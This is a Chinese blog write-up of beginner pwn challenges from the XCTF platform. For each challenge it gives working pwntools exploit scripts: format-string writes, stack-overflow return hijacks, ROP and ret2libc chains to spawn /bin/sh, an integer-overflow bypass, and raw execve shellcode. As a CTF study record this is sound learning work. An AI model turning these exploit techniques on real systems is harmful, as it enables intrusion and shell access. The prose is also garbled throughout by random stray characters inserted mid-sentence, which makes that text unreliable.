這篇博客用來(lái)記錄攻防世界pwn新手區(qū)刷題過(guò)程钢属。哗戈。婆排。
0x01 get_shell
題目描述: 運(yùn)行就能拿到shell呢荒椭,真的
直接使用nc連接遠(yuǎn)程端口就可返回shell
0x02 CGfsb
題目描述: 菜雞面對(duì)著pringf發(fā)愁谐鼎,他不知道prinf除了輸出還有什么作用
首先使用checksec
查看文件安全機(jī)制
關(guān)于checksec的使用可以參考checksec工具使用
將程序拖入IDA查看反匯編代碼
顯然在程序的第23行存在
格式化字符串漏洞
,而且發(fā)現(xiàn)關(guān)鍵代碼system("cat flag)
,條件是使得pwnme
值為8;關(guān)于格式化字符串漏洞可參考格式化字符串漏洞
利用格式化字符串漏洞修改pwnme
的值
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','33985')
#context.log_level = 'debug'
io.recvuntil('name:\n')
io.sendline('aa')
io.recvuntil('please:\n')
pwnme_addr = p32(0x0804a068) # 獲取pwnme的地址
payload = pwnme_addr + '%4c%10$n' # 構(gòu)造payload
io.sendline(payload)
print io.recvall() # recvall()輸出所有趣惠,直到EOF
關(guān)于pwn工具的使用可參考pwntools使用
0x03 when_did_you_born
題目描述: 只要知道你的年齡就能獲得flag狸棍,但菜雞發(fā)現(xiàn)無(wú)論如何輸入都不正確,怎么辦
查看安全機(jī)制
拖入IDA查看反匯編代碼
發(fā)現(xiàn)危險(xiǎn)函數(shù)gets
,存在溢出漏洞味悄,通過(guò)v4溢出修改v5的值
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','34377')
io.recvuntil('Birth?\n')
io.sendline('33')
io.recvuntil('Name?\n')
payload = 'A'*8+p64(1926)
io.sendline(payload)
print io.recvall()
0x04 hello_pwn
題目描述: pwn草戈!,segment fault傍菇!菜雞陷入了深思
查看安全機(jī)制
拖入IDA查看反匯編代碼
read函數(shù)處可能造成溢出
由源代碼可知只需使if
中等式成立便可以得到flag
跟進(jìn)變量unk_601068
,發(fā)現(xiàn)dword_60106C
就在下面將猾瘸,則可以通過(guò)read修改其值
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','30839')
io.recvuntil('for bof\n')
payload = 'A'*4+p64(1853186401)
io.sendline(payload)
print io.recvall()
0x05 level0
題目描述: 菜雞了解了什么是溢出,他相信自己能得到shell
查看安全機(jī)制
拖入IDA查看反匯編代碼
直接進(jìn)入vulnerable_function()
由于read函數(shù)所能讀入的最大字節(jié)要大于buf與棧底的距離丢习,所以存在棧溢出漏洞
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','36544')
io.recvuntil('World\n')
payload = 'A'*0x80+'A'*0x08+p64(0x400596)
io.sendline(payload)
io.interactive()
0x06 level2
題目描述: 菜雞請(qǐng)教大神如何獲得flag牵触,大神告訴他‘使用
面向返回的編程
(ROP)就可以了’
查看保護(hù)機(jī)制
拖入IDA查看反匯編代碼
與
level0
同樣的溢出漏洞,只不過(guò)在程序里找不到現(xiàn)成的可以獲取shell的函數(shù)了咐低,所以需要將程序中的字符串當(dāng)做system
的參數(shù)傳入
在IDA中使用shift+F12
可以查看程序中的所有字符串及其位置
看到有
/bin/sh
字符串揽思,地址為0x0804A024
溢出原理圖
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','31250')
io.recvuntil('Input:\n')
payload = 'A'*0x88+'A'*0x04+p32(0x08048320)+'A'*0x4+p32(0x0804A024)
# 調(diào)用一個(gè)新的函數(shù)時(shí),會(huì)將esp的值賦值到ebp上去见擦,所以不用管ebp賦值到了一個(gè)無(wú)效地址钉汗,依然可以恢復(fù)正常工作
io.sendline(payload)
io.interactive()
0x07 guess_num
菜雞在玩一個(gè)猜數(shù)字的游戲羹令,但他無(wú)論如何都銀不了,你能幫助他么
查看安全機(jī)制
可以看到這次安全機(jī)制基本上都開(kāi)了
拖入IDA查看反匯編代碼
gets存在溢出漏洞损痰,可以通過(guò)gets修改隨即種子
seed
的值
整個(gè)程序的邏輯就是猜數(shù)字福侈,猜中十次才可以的到flag;
這里使用rand來(lái)生成隨機(jī)數(shù)卢未,然而rand生成的隨機(jī)數(shù)并不是真正的隨機(jī)數(shù),只是在一定范圍內(nèi)隨機(jī)肪凛,實(shí)際上是一段數(shù)字的循環(huán),這些數(shù)字取決于隨機(jī)種子辽社。在調(diào)用rand()函數(shù)時(shí)伟墙,必須先利用srand()設(shè)好隨機(jī)數(shù)種子,如果未設(shè)隨機(jī)數(shù)種子滴铅,rand()在調(diào)用時(shí)會(huì)自動(dòng)設(shè)隨機(jī)數(shù)種子為1戳葵;
正常情況下應(yīng)該使種子隨生成的隨機(jī)數(shù)而變化,即每生成一次隨機(jī)數(shù)更改一次種子
使用python自帶的ctypes模塊進(jìn)行python和c混合編程
使用ldd查看guss_num所使用的共享庫(kù)libc
可以看到
libc.so.6
指向的文件/lib/x86_64-linux-gnu/libc.so.6
可當(dāng)做共享庫(kù)載入python中,載入之后就可以通過(guò)python調(diào)用共享庫(kù)中的函數(shù)汉匙,實(shí)現(xiàn)混合編程
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *
io = remote('220.249.52.133','43798')
io.recvuntil('name:')
payload = 'A'*0x20+p32(1) # 由于seed[0]大小為32位拱烁,所以使用p32
io.sendline(payload)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.recvuntil('number:')
io.sendline(num)
print io.recvall()
注: 最后的print io.recvall()
可以用io.interactive()
代替,不過(guò)使用后者會(huì)返回一個(gè)無(wú)效的命令行
0x08 cgpwn2
題目描述: 菜雞認(rèn)為自己需要一個(gè)字符串
查看安全機(jī)制
拖入IDA查看反匯編代碼
直接跟進(jìn)hello
顯然在gets()函數(shù)存在溢出
然而程序中有現(xiàn)成system
函數(shù)噩翠,卻找不到可以利用的字符串邻梆,考率到前面的fgets
函數(shù),可以嘗試將所需要的字符串參數(shù)傳入name
變量中绎秒,在將name
作為system
的參數(shù)傳入
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','42443')
io.recvuntil('name\n')
io.sendline('/bin/sh')
io.recvuntil('here:\n')
name_addr = 0x0804A080
payload = 'A'*0x26+'A'*4+p32(0x08048420)+'A'*4+p32(name_addr)
io.sendline(payload)
io.interactive()
0x09 string
題目描述: 菜雞遇到了Dragon,有一位巫師可以幫助他逃離危險(xiǎn)尼摹,但似乎需要一些要求
查看程序安全機(jī)制
拖入IDA查看反匯編代碼
輸出了V4的值见芹,其他暫未發(fā)現(xiàn)異常,跟進(jìn)查看
創(chuàng)建了一個(gè)新的游戲人物蠢涝,同時(shí)調(diào)用了三個(gè)函數(shù)玄呛,依次跟進(jìn)查看
在第一個(gè)函數(shù)中碰到了一個(gè)循環(huán),必須輸入east才能跳出循環(huán)
在第二個(gè)函數(shù)中發(fā)現(xiàn)了格式化字符串漏洞和二,觸發(fā)條件為
v1==1
在第三個(gè)函數(shù)中發(fā)現(xiàn)了關(guān)鍵代碼徘铝,程序?qū)⒂脩?hù)輸入的字符強(qiáng)制轉(zhuǎn)化成函數(shù)執(zhí)行,執(zhí)行的條件就是
*a1 == a1[1]
,逆推發(fā)現(xiàn)a1
就是V3
,所以條件就是V3[0]=V3[1]
就是這里可以用來(lái)輸入shellcode
.
攻擊思路: 利用格式化字符創(chuàng)漏洞修改V3[0]
的值惯吕,再輸入一個(gè)shellcode
獲取shell,可以在http://shell-storm.org/shellcode/網(wǎng)站上找到對(duì)應(yīng)的shellcode
來(lái)獲取shell
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','35103')
io.recvuntil('secret[0] is ')
v3 = int(io.recvuntil('\n')[:-1],16)
io.recvuntil('name be:\n')
io.sendline('aa')
io.recvuntil('east or up?:\n')
io.sendline('east')
io.recvuntil('or leave(0)?:\n')
io.sendline('1')
io.recvuntil('address\'\n')
io.sendline(str(v3)) # str用于將十進(jìn)制以字符串形式輸出惕它,例:111輸出'111'
io.recvuntil(' wish is:\n')
payload = '%85c%7$n'
# 64位程序格式化字符串漏洞中,格式化字符串的第六個(gè)偏移地址是調(diào)用printf的函數(shù)的棧上的第一個(gè)QWORD(64位)
# 而第二個(gè)QWORD即為V2的值
# 所以這里我們的偏移地址設(shè)為7废登,修改V2所指向的V3[0]
io.sendline(payload)
io.recvuntil('YOU SPELL\n')
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
io.sendline(shellcode)
io.interactive()
0x0A int_overflow
題目描述: 菜雞感覺(jué)這題似乎沒(méi)有辦法溢出淹魄,真的么?
查看安全機(jī)制
拖入IDA查看反匯編代碼
跟近查看,進(jìn)入到chek_passwd
出現(xiàn)危險(xiǎn)函數(shù)
strcpy
堡距,存在棧溢出漏洞甲锡,但是要想觸發(fā)漏洞兆蕉,必須使得v3在3和8之間v3的值為s字符串的長(zhǎng)度,根據(jù)題目提示想到整數(shù)溢出缤沦,利用整數(shù)溢出觸發(fā)漏洞
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
io = remote('220.249.52.133','46540')
io.recvuntil('choice:')
io.sendline('1')
io.recvuntil('username:\n')
io.sendline('aa')
io.recvuntil('passwd:\n')
# v3大小為8個(gè)字節(jié)虎韵,范圍為0~255
payload = 'A'*0x18+p32(0x0804868B)+'A'*(259-0x18-4)
io.sendline(payload)
io.interactive()
0x0B level3
題目描述: libc!libc!這次沒(méi)有system,你能幫菜雞解決這個(gè)難題么?
題目提供的文件是一個(gè)壓縮包缸废,解壓之后有兩個(gè)文件包蓝,一個(gè)是可執(zhí)行文件,還有一個(gè)動(dòng)態(tài)鏈接庫(kù)文件
關(guān)于plt呆奕、got养晋、動(dòng)態(tài)鏈接之間的關(guān)系可以參考
libc_32.so.6
中存放的是程序運(yùn)行時(shí)所用到的外部函數(shù),通過(guò)PLT表和GOT表連接到主程序中
查看安全機(jī)制
沒(méi)有開(kāi)啟
PIE
梁钾,所以libc
中函數(shù)的相對(duì)地址不發(fā)生變化(程序自帶函數(shù)地址也不會(huì)發(fā)生變化)绳泉,也就是說(shuō)只要知道libc
在程序中的的基址,根據(jù)偏移地址就可以知道任何函數(shù)在程序中的實(shí)際地址
拖入IDA查看反匯編代碼
在
vulnerable_function()
中read()
函數(shù)存在溢出姆泻,然而程序中并沒(méi)有現(xiàn)成的system函數(shù)零酪,所以必須想辦法調(diào)用動(dòng)態(tài)連接庫(kù)中的函數(shù)
攻擊思路: 利用棧溢出返回到write
函數(shù)(注意:只能通過(guò)plt調(diào)用函數(shù),不能直接跳轉(zhuǎn)到got表)拇勃,同時(shí)傳入write
函數(shù)的got
表的地址四苇,由于程序沒(méi)有開(kāi)啟PIE
保護(hù),所以程序中plt
表和got
表的位置都是不會(huì)變化的方咆,函數(shù)的相對(duì)地址也是固定的月腋,所以可以通過(guò)本地的程序獲取write
函數(shù)got
表的地址,然后輸出write
函數(shù)實(shí)際地址瓣赂。
將得到的實(shí)際地址與libc
中的write
的偏移地址相減榆骚,則可以得到libc
的基地址,加上system
函數(shù)在libc
里面的偏移地址煌集,就可以得到system
函數(shù)在程序中的實(shí)際地址
此時(shí)利用溢出再次控制返回函數(shù)到main
函數(shù)妓肢,二次攻擊溢出返回到system
函數(shù),傳入/bin/sh
參數(shù)苫纤,就可以得到shell
了
注: 字符串/bin/sh
可以在libc中找到碉钠,查找方法如下
strings -a -t x libc_32.so.6 | grep "/bin/sh"
解題腳本:
#!/usr/bin/python
#coding=utf-8
from pwn import *
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
write_plt = elf.plt['write'] #返回的是數(shù)字,非字符
write_got = elf.got['write']
main_addr = elf.symbols['main']
write_off = libc.symbols['write']
io = remote('220.249.52.133','47190')
io.recvuntil('Input:\n')
payload = 'A'*0x8c+p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4) #傳入?yún)?shù)write(1,write_got,4)
io.sendline(payload)
write_addr = u32(io.recv())
io.recvuntil('Input:\n')
libc_addr = write_addr-write_off #計(jì)算出libc基址
system_addr = libc.symbols['system']+libc_addr #libc基址加上system偏移地址得到實(shí)際地址
bin_sh_addr = 0x15902b + libc_addr #基址加上使用strings得到的/bin/sh的偏移地址
payload = 'A'*0x8c+p32(system_addr)+'A'*4+p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
參考鏈接
https://www.cnblogs.com/at0de/p/11269120.html
https://bbs.pediy.com/thread-254858.htm
http://www.reibang.com/p/457520f97a76